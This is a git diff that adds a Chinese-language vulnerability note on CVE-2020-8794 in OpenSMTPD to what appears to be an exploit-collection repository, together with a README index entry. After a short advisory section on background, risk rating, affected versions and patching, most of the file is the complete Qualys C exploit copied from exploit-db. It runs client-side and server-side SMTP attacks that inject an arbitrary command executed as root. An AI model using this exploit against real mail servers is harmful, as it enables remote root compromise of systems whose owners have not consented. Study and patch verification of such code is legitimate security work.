diff --git a/CVE-2020-8794-OpenSMTPD 远程命令执行漏洞.md b/CVE-2020-8794-OpenSMTPD 远程命令执行漏洞.md
new file mode 100644
index 0000000..f178fb5
--- /dev/null
+++ b/CVE-2020-8794-OpenSMTPD 远程命令执行漏洞.md
@@ -0,0 +1,492 @@
+## CVE-2020-8794: OpenSMTPD 远程命令执行漏洞通告
+
+## 0x00 漏洞背景
+
+2020年03月02日, 360CERT监测发现国外 `qualys` 研究团队已经公布 `OpenSMTPD` 的一枚远程命令执行漏洞的漏洞细节,漏洞编号为 `CVE-2020-8794`,影响 `6.6.4` 及之前的版本。
+
+该漏洞是一个越界读漏洞,在 2015年12月被引入 (commit id `80c6a60c`)。
+
+与上一个漏洞 `CVE-2020-7247` 相比,`CVE-2020-8794`产生了更为广泛的影响版本,攻击方式更为复杂。
+
+该漏洞在默认安装 `OpenSMTPD` 情况下,即可攻击成功并执行任意命令。
+
+## 0x01 风险等级
+
+360CERT对该漏洞进行评定
+
+| 评定方式 | 等级 |
+| :------: | :--: |
+| 威胁等级 | 高危 |
+| 影响面 | 一般 |
+
+360CERT建议广大用户及时更新`OpenSMTPD`。做好资产 自查/自检/预防 工作,以免遭受攻击。
+
+## 0x02 影响版本
+
+OpenSMTPD <= 6.6.4
+
+## 0x03 修复建议
+
+最新版本为 `6.6.4p1`。
+
+Debain 用户可以通过 `apt` 包管理器升级 `OpenSMTPD`
+
+stretch 6.0.2p1-2+deb9u3
+
+buster 6.0.3p1-5+deb10u4
+
+## 0x4 漏洞利用EXP:
+
+```c
+/*
+ * LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)
+ * Copyright (C) 2020 Qualys, Inc.
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see .
+ */
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+static enum {
+ CLIENT_SIDE_EXPLOIT,
+ SERVER_SIDE_EXPLOIT,
+} exploit = CLIENT_SIDE_EXPLOIT;
+
+static enum {
+ NEW_SMTPD_GRAMMAR,
+ OLD_SMTPD_GRAMMAR,
+} grammar = NEW_SMTPD_GRAMMAR;
+
+static struct {
+ const char * command;
+ const char * user;
+ const char * dispatcher;
+ const char * maildir;
+ char lines[512];
+} inject = {
+ .command = "X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0",
+ .user = "root",
+ .dispatcher = "local_mail",
+ .maildir = NULL,
+};
+
+#define die() do { \
+ printf("died in %s: %u\n", __func__, __LINE__); \
+ exit(EXIT_FAILURE); \
+} while (0)
+
+static struct addrinfo *
+common_getaddrinfo(const char * const host, const char * const port)
+{
+ const struct addrinfo hints = {
+ .ai_family = AF_INET,
+ .ai_socktype = SOCK_STREAM,
+ .ai_protocol = IPPROTO_TCP,
+ .ai_flags = AI_NUMERICHOST | AI_NUMERICSERV,
+ };
+ struct addrinfo * addr = NULL;
+ if (getaddrinfo(host, port, &hints, &addr) != 0) die();
+ if (addr == NULL || addr->ai_next != NULL) die();
+ return addr;
+}
+
+static const char *
+common_getnameinfo(const struct sockaddr * const addr, const socklen_t addr_len)
+{
+ static char host[NI_MAXHOST];
+ static char port[NI_MAXSERV];
+ if (getnameinfo(addr, addr_len, host, sizeof(host), port, sizeof(port),
+ NI_NUMERICHOST | NI_NUMERICSERV) != 0) die();
+
+ static char host_port[NI_MAXHOST + NI_MAXSERV];
+ if (snprintf(host_port, sizeof(host_port), "%s:%s", host, port) <= 0) die();
+ return host_port;
+}
+
+static void
+common_send(const int fd, const char * const format, va_list ap)
+{
+ if (fd <= -1) die();
+ static char buf[1024];
+ const int len = vsnprintf(buf, sizeof(buf), format, ap);
+ if (len <= 0 || (unsigned)len >= sizeof(buf)) die();
+ printf("--> %s%s", buf, buf[len-1] != '\n' ? "\n" : "");
+
+ const char * data = buf;
+ size_t size = len;
+
+ for (;;) {
+ const ssize_t sent = send(fd, data, size, MSG_NOSIGNAL);
+ if (sent <= 0) die();
+ if ((size_t)sent > size) die();
+ data += sent;
+ size -= sent;
+ if (size <= 0) return;
+ }
+ die();
+}
+
+static int listen_fd = -1;
+
+static void
+server_listen(void)
+{
+ if (listen_fd != -1) die();
+ const struct addrinfo * const addr = common_getaddrinfo("0.0.0.0", "25");
+ listen_fd = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol);
+ if (listen_fd <= -1) die();
+
+ const int on = 1;
+ if (setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) != 0) die();
+ if (bind(listen_fd, addr->ai_addr, addr->ai_addrlen) != 0) die();
+ if (listen(listen_fd, 10) != 0) die();
+
+ printf("\nListening on %s\n",
+ common_getnameinfo(addr->ai_addr, addr->ai_addrlen));
+}
+
+static int server_fd = -1;
+
+static void
+server_accept(void)
+{
+ struct sockaddr addr;
+ socklen_t addr_len = sizeof(addr);
+
+ if (listen_fd <= -1) die();
+ if (server_fd != -1) die();
+ server_fd = accept(listen_fd, &addr, &addr_len);
+ if (server_fd <= -1) die();
+ if (addr_len > sizeof(addr)) die();
+
+ const time_t now = time(NULL);
+ printf("\nConnection from %s\n%s",
+ common_getnameinfo(&addr, addr_len), ctime(&now));
+
+ const int on = 1;
+ if (setsockopt(server_fd, IPPROTO_TCP, TCP_NODELAY, &on, sizeof(on)) != 0) die();
+}
+
+static void
+server_send(const char * const format, ...)
+{
+ if (server_fd <= -1) die();
+
+ va_list ap;
+ va_start(ap, format);
+ common_send(server_fd, format, ap);
+ va_end(ap);
+}
+
+static char server_command[1024];
+
+static void
+server_recv(const char * const prefix)
+{
+ if (server_fd <= -1) die();
+ const size_t prefix_len = strlen(prefix);
+ if (prefix_len < 4) die();
+
+ char * data = server_command;
+ size_t size = sizeof(server_command);
+
+ for (;;) {
+ const ssize_t rcvd = recv(server_fd, data, size, 0);
+ if (rcvd <= 0) die();
+ if ((size_t)rcvd >= size) die();
+ data += rcvd;
+ size -= rcvd;
+ data[0] = '\0';
+ if (data[-1] != '\n') continue;
+ if (strchr(server_command, '\n') != data - 1) die();
+
+ printf("<-- %s", server_command);
+ if (strncmp(server_command, prefix, prefix_len) != 0) die();
+ return;
+ }
+ die();
+}
+
+static void
+server_close(void)
+{
+ if (server_fd <= -1) die();
+ if (close(server_fd) != 0) die();
+ server_fd = -1;
+}
+
+static void
+server_session(const char * const inject_lines)
+{
+ const char * const error_code =
+ (exploit == SERVER_SIDE_EXPLOIT) ? "421" : "553";
+
+ server_accept();
+ server_send("220 ent.of.line ESMTP\n");
+
+ server_recv("EHLO ");
+ server_send("250 ent.of.line Hello\n");
+
+ server_recv("MAIL FROM:<");
+ if ((strncmp(server_command, "MAIL FROM:<>", 12) == 0) !=
+ (exploit == SERVER_SIDE_EXPLOIT)) die();
+
+ if (inject_lines != NULL) {
+ if (inject_lines[0] == '\0') die();
+ if (inject_lines[0] == '\n') die();
+ if (inject_lines[strlen(inject_lines)-1] == '\n') die();
+
+ server_send("%s-Error\n", error_code);
+ server_send("%s\n\n%s%c", error_code, inject_lines, (int)'\0');
+
+ } else {
+ server_send("%s Error\n", error_code);
+
+ server_recv("RSET");
+ server_send("250 Reset\n");
+
+ server_recv("QUIT");
+ server_send("221 Bye\n");
+ }
+ server_close();
+}
+
+static const struct addrinfo * client_target = NULL;
+static const char * client_mail = NULL;
+static const char * client_rcpt = NULL;
+
+static int client_fd = -1;
+
+static void
+client_connect(void)
+{
+ if (client_fd != -1) die();
+ client_fd = socket(client_target->ai_family, client_target->ai_socktype,
+ client_target->ai_protocol);
+ if (client_fd <= -1) die();
+
+ if (connect(client_fd, client_target->ai_addr,
+ client_target->ai_addrlen) != 0) die();
+
+ printf("\nConnected to %s\n",
+ common_getnameinfo(client_target->ai_addr, client_target->ai_addrlen));
+}
+
+static void
+client_send(const char * const format, ...)
+{
+ if (client_fd <= -1) die();
+
+ va_list ap;
+ va_start(ap, format);
+ common_send(client_fd, format, ap);
+ va_end(ap);
+}
+
+static char client_reply[1024];
+
+static void
+client_recv(const char * const prefix)
+{
+ if (client_fd <= -1) die();
+ const size_t prefix_len = strlen(prefix);
+ if (prefix_len < 3) die();
+
+ char * data = client_reply;
+ size_t size = sizeof(client_reply);
+ const char * line = data;
+
+ for (;;) {
+ const ssize_t rcvd = recv(client_fd, data, size, 0);
+ if (rcvd <= 0) die();
+ if ((size_t)rcvd >= size) die();
+ data += rcvd;
+ size -= rcvd;
+ data[0] = '\0';
+ if (data[-1] != '\n') continue;
+
+ for (;;) {
+ const char * const new_line = strchr(line, '\n');
+ if (new_line == NULL) break;
+ if (new_line - line < 4) die();
+ printf("<-- %.*s", (int)(new_line - line + 1), line);
+ if (strncmp(line, prefix, prefix_len) != 0) die();
+
+ if (line[3] == ' ') {
+ if (new_line + 1 != data) die();
+ return;
+ }
+ if (line[3] != '-') die();
+ line = new_line + 1;
+ }
+ if (line != data) die();
+ }
+ die();
+}
+
+static void
+client_close(void)
+{
+ if (client_fd <= -1) die();
+ if (close(client_fd) != 0) die();
+ client_fd = -1;
+}
+
+static void
+client_session(void)
+{
+ client_connect();
+ client_recv("220 ");
+
+ client_send("HELP\n");
+ client_recv("214");
+ if (strstr(client_reply, "please contact bugs@openbsd.org") == NULL) die();
+
+ client_send("EHLO ent.of.line\n");
+ client_recv("250");
+ const int dsn = (strstr(client_reply, "250-DSN") != NULL);
+
+ client_send("MAIL FROM:<%s>\n", client_mail);
+ client_recv("250 ");
+
+ client_send("RCPT TO:<%s>%s\n", client_rcpt, dsn ? " NOTIFY=SUCCESS" : "");
+ client_recv("250 ");
+
+ client_send("DATA\n");
+ client_recv("354 Enter mail, end with ");
+
+ if (!dsn) {
+ client_send("Delivered-To: %s\n", client_rcpt);
+ }
+ client_send("\n");
+ client_send(".\n");
+ client_recv("250 ");
+
+ client_send("QUIT\n");
+ client_recv("221 ");
+ client_close();
+}
+
+int
+main(int argc, char * const * argv)
+{
+ setlinebuf(stdout);
+ puts("LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)");
+ puts("Copyright (C) 2020 Qualys, Inc.");
+
+ int opt;
+ while ((opt = getopt(argc, argv, "c:u:d:m:n")) != -1) {
+ switch (opt) {
+ case 'c':
+ inject.command = optarg;
+ break;
+ case 'u':
+ grammar = OLD_SMTPD_GRAMMAR;
+ inject.user = optarg;
+ break;
+ case 'd':
+ inject.dispatcher = optarg;
+ break;
+ case 'm':
+ grammar = OLD_SMTPD_GRAMMAR;
+ inject.maildir = optarg;
+ break;
+ case 'n':
+ grammar = NEW_SMTPD_GRAMMAR;
+ break;
+ default:
+ die();
+ }
+ }
+
+ if (grammar == NEW_SMTPD_GRAMMAR) {
+ const int len = snprintf(inject.lines, sizeof(inject.lines),
+ "type:mda\nmda-exec:%s\ndispatcher:%s\nmda-user:%s",
+ inject.command, inject.dispatcher, inject.user);
+ if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die();
+
+ } else if (grammar == OLD_SMTPD_GRAMMAR) {
+ const int len = snprintf(inject.lines, sizeof(inject.lines),
+ "type:mda\nmda-buffer:%s\nmda-method:%s\nmda-user:%s\nmda-usertable:",
+ inject.maildir ? inject.maildir : inject.command,
+ inject.maildir ? "maildir" : "mda", inject.user);
+ if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die();
+
+ } else die();
+
+ argc -= optind;
+ argv += optind;
+
+ if (argc == 3) {
+ exploit = SERVER_SIDE_EXPLOIT;
+ client_target = common_getaddrinfo(argv[0], "25");
+ client_mail = argv[1];
+ client_rcpt = argv[2];
+
+ } else if (argc != 0) die();
+
+ server_listen();
+ if (exploit == CLIENT_SIDE_EXPLOIT) {
+ server_session(inject.lines);
+
+ } else if (exploit == SERVER_SIDE_EXPLOIT) {
+ client_session();
+ unsigned try;
+ for (try = 0; try < 1; try++) {
+ server_session(NULL);
+ puts("\nPlease wait for OpenSMTPD to connect back...");
+ }
+ server_session(inject.lines);
+ client_session();
+ server_session("type:invalid");
+
+ } else die();
+ exit(EXIT_SUCCESS);
+}
+
+```
+
+> 注:EXP来源于:https://www.exploit-db.com/exploits/48140
+
+## 0x05 参考链接
+
+1、qualys 报告
+
+[https://www.qualys.com/2020/02/24/cve-2020-8794/lpe-rce-opensmtpd-default-install.txt]
+
+2、qualys 报告细节
+
+[https://www.qualys.com/2020/02/24/cve-2020-8794/lpe-rce-opensmtpd-default-install-exploit.c]
+
+3、CVE-2020-7247: OpenSMTPD 远程命令执行漏洞通告 - 360CERT
+
+[https://cert.360.cn/warning/detail?id=b03e92c903678dd6497d1be040f761d5]
+
+4、Releases · OpenSMTPD/OpenSMTPD
+
+[https://github.com/OpenSMTPD/OpenSMTPD/releases]
+
+5、Debian -- Security Information -- DSA-4634-1 opensmtpd
+
+[https://www.debian.org/security/2020/dsa-4634]
\ No newline at end of file
diff --git a/README.md b/README.md
index c8a474a..eb80cc6 100644
--- a/README.md
+++ b/README.md
@@ -165,6 +165,7 @@
- [CVE-2020-0767Microsoft ChakraCore脚本引擎【Edge浏览器中的一个开源的ChakraJavaScript脚本引擎的核心部分】安全漏洞](https://github.com/phoenhex/files/blob/master/pocs/cve-2020-0767.js)
- [CVE-2020-0688:微软EXCHANGE服务的远程代码执行漏洞](https://github.com/random-robbie/cve-2020-0688)|[CVE-2020-0688_EXP---另一个漏洞检测利用脚本](https://github.com/Yt1g3r/CVE-2020-0688_EXP)|[又一个cve-2020-0688利用脚本](https://github.com/Ridter/cve-2020-0688)
- [CVE-2020-0674: Internet Explorer远程代码执行漏洞检测](https://github.com/binaryfigments/CVE-2020-0674)
+- [CVE-2020-8794: OpenSMTPD 远程命令执行漏洞](./CVE-2020-8794-OpenSMTPD 远程命令执行漏洞.md)
## tools-[小工具集合](./tools)